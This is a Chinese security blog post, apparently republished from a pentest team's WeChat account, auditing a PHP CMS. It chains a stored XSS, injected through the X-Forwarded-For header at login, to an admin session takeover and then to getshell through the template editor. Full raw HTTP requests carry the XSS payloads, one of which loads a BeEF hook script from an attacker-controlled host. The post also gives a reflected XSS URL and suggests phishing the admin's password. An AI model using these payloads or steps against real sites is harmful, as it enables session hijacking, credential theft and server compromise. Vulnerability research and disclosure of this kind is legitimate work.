代码审计之某CMS利用存储型xss登录后台GetShell
2024-1-18 23:20:47 Author: 渗透安全团队(查看原文) 阅读量:27 收藏

漏洞环境

php5.6-8、Apache、Mysql,利用phpStudy进行搭建部署

漏洞利用说明

该后台登录的时候,无论是否登录成功,都会记录登录者的ip和用户名,且获取ip的函数没有做过滤,从而导致攻击者可以输入任意的用户名和密码,之后抓包在xff头中输入xss代码;当受害者登录时,即可获得用户的cookie;在获得用户的cookie后,利用cookie登录,可以在后端进行代码执行getshell。【以下漏洞仅作为技术分享,切勿瞎搞,搞出来事情与本人无关(以下漏洞均申请cve了)】

一、存储型xss漏洞

1.1 漏洞复现

浏览器访问:访问

http://ip//xxxxxcms/?m=admin&c=index&a=login

输入错误的用户名和密码,尝试进行登录,并抓包,添加

X-Forwarded-For: <script>alert(/xss/)</script>

点击发送

POST /xxxdcms/?m=admin&c=index&a=check HTTP/1.1Host: 192.168.239.128User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestContent-Length: 195Origin: http://192.168.239.128Connection: closeReferer: http://192.168.239.128/qingsdcms/?m=admin&c=index&a=loginCookie: PHPSESSID=cl20evn42q7978lo3eeuma8jo2X-Forwarded-For: <script>alert(/xss/)</script>sec-ch-ua-platform: "Windows"sec-ch-ua: "Google Chrome";v="87", "Chromium";v="87", "Not=A?Brand";v="24"sec-ch-ua-mobile: ?0
t0=admin&t1=741258&t2=rfqf&token=46f36bd24ed03fc5818c877c61d62871

在输入正确的密码,进行登录,登录成功后发现存在存储型xss漏洞。

这可以获得后台管理用户登录的cookie,从而登录后端管理平台,危害极大。

1.2 Beef实战

输入payload,等待用户登录

POST /qingsdcms/?m=admin&c=index&a=check HTTP/1.1Host: 192.168.239.128User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestContent-Length: 195Origin: http://192.168.239.128Connection: closeReferer: http://192.168.239.128/qingsdcms/?m=admin&c=index&a=loginCookie: PHPSESSID=cl20evn42q7978lo3eeuma8jo2X-Forwarded-For: <script src=http://192.168.239.131:3000/hook.js />sec-ch-ua-platform: "Windows"sec-ch-ua: "Google Chrome";v="87", "Chromium";v="87", "Not=A?Brand";v="24"sec-ch-ua-mobile: ?0
t0=admin&t1=741258&t2=rfqf&token=46f36bd24ed03fc5818c877c61d62871

之后输入正确的用户名和密码:admin:admin,进行登录,登录成功后,查看Beef上线

在获取getcookie的时候发现获取不到,应该是做了限制,可以采用钓鱼的方式诱惑用户输入密码

即可拿到用户的密码进行登录,还可以进行Beef其它操作,重定向浏览器等,危害巨大。

1.3 代码审计

首先使用Seay源代码审计系统进行代码扫描,发现位于/app/f.php文件中存在获取IP方法进行伪造,可以引发sql注入漏洞。

点开f.php进行查看发现存在getip函数

全局搜索发现/app/admin/c/index.php用引用这个函数

查看/app/admin/c/index.php,在check函数中有引用,第一个红框是查询IP地址为$ip、登录状态为0、且最近一天内登录过的用户数量,进行禁止暴力破解和sql注;第二个红框是检测密码和验证码输入是否规范和正确;第三个红框是进行登录验证;第四个红框是登录成功后进行更新;第五个红框是将登录的用户名称,ip,时间等进行添加,这说明无论是否登录成功都会将登录的ip进行记录,故此导致了存储型xss。

二、代码执行漏洞

2.1 漏洞复现

访问模板管理

选择本地模块,使用鼠标点击进去

在点击index.php,将里面内容全部删掉,写入代码执行命令,点击保存

访问http://192.168.239.128/qingsdcms/index.php,命令执行成功

2.2 代码分析

打开theme.php,查看代码,传入的参数t2被复制给$test,check_bad对$text进行过滤,之后会进行写入和保存。

查看check_bad函数,是对所有php危险函数进行了过滤,但是没有过滤

这里直接是die掉了。

文件包含我是从api模块的debug方法来打的。

三、反射性XSS漏洞

在浏览器中输入:

http://192.168.239.128/xxxxcms/?a=code%27%22()%26%25%3Cacx%3E%3CScRiPt%3Ealert(9678)%3C/ScRiPt%3E

感谢各位大佬们关注-不秃头的安全,后续会坚持更新渗透漏洞思路分享、安全测试、好用工具分享以及挖挖掘SRC思路等文章,同时会组织不定期抽奖,希望能得到各位的关注与支持。


付费圈子

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示

加入安全交流群

                               

关 注 有 礼

关注下方公众号回复“666”可以领取一套领取黑客成长秘籍

 还在等什么?赶紧点击下方名片关注学习吧!


干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247514118&idx=2&sn=e0de5fb80aa31d365249d2960b75fc09&chksm=c0f92c10db7f654ea3cc257a2ee8deb9411d45afa125f5d2f2ac79ad062e617939d3b0f381f1&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh